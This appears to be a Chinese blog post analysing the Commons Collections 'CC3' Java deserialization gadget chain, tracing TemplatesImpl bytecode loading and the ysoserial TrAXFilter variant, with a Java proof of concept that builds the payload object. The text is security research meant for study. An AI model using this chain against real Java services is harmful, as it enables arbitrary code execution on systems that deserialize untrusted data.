侧边栏壁纸
博主头像
咿呀咿呀

你的脚步太乱,所以行程有限

  • 累计撰写 29 篇文章
  • 累计创建 4 个标签
  • 累计收到 2 条评论
标签搜索

CC3

咿呀咿呀
2022-08-29 / 0 评论 / 0 点赞 / 47 阅读 / 3,152 字
温馨提示:
本文最后更新于 2022-08-29,若内容或图片失效,请留言反馈。部分素材来自网络,若不小心影响到您的利益,请联系我们删除。
切入口分析

cc3 用的是动态类加载、来执行自己的代码

通常我们用ClassLoader来加载、而ClassLoader会调用defineClass从字节从加载一个类

    protected final Class<?> defineClass(byte[] b, int off, int len)
        throws ClassFormatError
    {
        return defineClass(null, b, off, len, null);
    }

加载类是不会执行代码的,此时还需要一个初始化的地方

上面的defineclass 是protected,所以需要找到重写它、属性为public的地方。

image-20220829151156077

这里我们找到一个没有写作用域的defineclass 、实际上是个friendly,在自己包里能调用。

查看其调用。

defineTransletClasses函数中调用了这个defineclass ,但defineTransletClasses为private,

再查看器调用。

image-20220829152018424

发现有三处地方都调用了defineTransletClasses,在最后一处调用,我们发现了newInstance

image-20220829152116531

所以重点关注getTransletInstance,因private作用域,

再查其调用

image-20220829152302124

最后找到newTransformer()

那么以上的逻辑为:调用newTransformer方法,就会调用getTransletInstance(),满足getTransletInstance里面的逻辑后,就会调用它的初始化过程(newInstance)

初始化的类为_class[_transletIndex],它的赋值:_class[i] = loader.defineClass(_bytecodes[i]);

所以这条链从newTransformer入手

image-20220829153018719

切入

TemplatesImpl类中getTransletInstance()函数 需要对参数进行赋值,才能走到.newInstance();

反射修改

image-20220731160105687

出现了空指针错误,下断点调试、查找空指针的位置。

image-20220731160316043

有俩种方法解决:一是进去if (superClass.getName().equals(ABSTRACT_TRANSLET)) ,

二是给_auxClasses赋值。

但是下面对_transletIndex有个判断,则就导致了,只能使用第一种方法。

image-20220731160551650

    private static String ABSTRACT_TRANSLET
        = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";

恶意类的父类应为"com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet".

所以得加Test类(恶意类)得继承上述父类。

image-20220805204638940

编译后、运行poc、成功执行。

image-20220805213603045

这就意味着只要我们调用了Templatesmpl.newTransformer()就会导致任意代码。

下面借助CC1的chainedTransformer完成这个过程,也可以执行

image-20220806123727658

那么就可以复用CC1的后半段链。

image-20220806124128252

关键代码

public class Cc3 {
    public static void main(String[] args) throws Exception {

        TemplatesImpl templates = new TemplatesImpl();
        Class tc = templates.getClass();
        Field nameField = tc.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates,"yiya");
        Field bytecodeField = tc.getDeclaredField("_bytecodes");
        bytecodeField.setAccessible(true);


        byte[] code = Files.readAllBytes(Paths.get("D://tmp//class//Test.class"));
        byte[][] codes = {code};
        bytecodeField.set(templates,codes);

        Field tfactoryFiled = tc.getDeclaredField("_tfactory");
        tfactoryFiled.setAccessible(true);
        tfactoryFiled.set(templates,new TransformerFactoryImpl());
//        templates.newTransformer();
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(templates),
                new InvokerTransformer("newTransformer",null,null)

        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//        chainedTransformer.transform(1);

        HashMap<Object,Object> map = new HashMap<>();
        map.put("value","yiya");
        Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer);

//       for(Map.Entry entry:transformedMap.entrySet()){
//           entry.setValue(r);
//       }

        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationInvocationConstructor = c.getDeclaredConstructor(Class.class,Map.class);
        annotationInvocationConstructor.setAccessible(true);
        Object o = annotationInvocationConstructor.newInstance(Target.class,transformedMap);

//        serialize(o);
        unserialize("ser3.bin");
        
    }
ysoserial中的cc3

在ysoserial中使用了另外的一个类:TrAXFilter

回到Templatesmpl.newTransformer()这,找找其他调用了newTransformer()的地方。

image-20220807105153805

TrAXFilter类不能序列化、则需要调用其构造函数进行赋值。

这里就需要用到InstantiateTransformer类来调用构造函数

image-20220807105914607

使用InstantiateTransformer类来调用TrAXFilter的构造函数,进而调用Templatesmpl.newTransformer()

image-20220829180215525

和CC1一样使用Transformer[] transformers解决TrAXFilter不能序列化问题

image-20220829180754752

那么利用链为

image-20220829181258815

0

评论区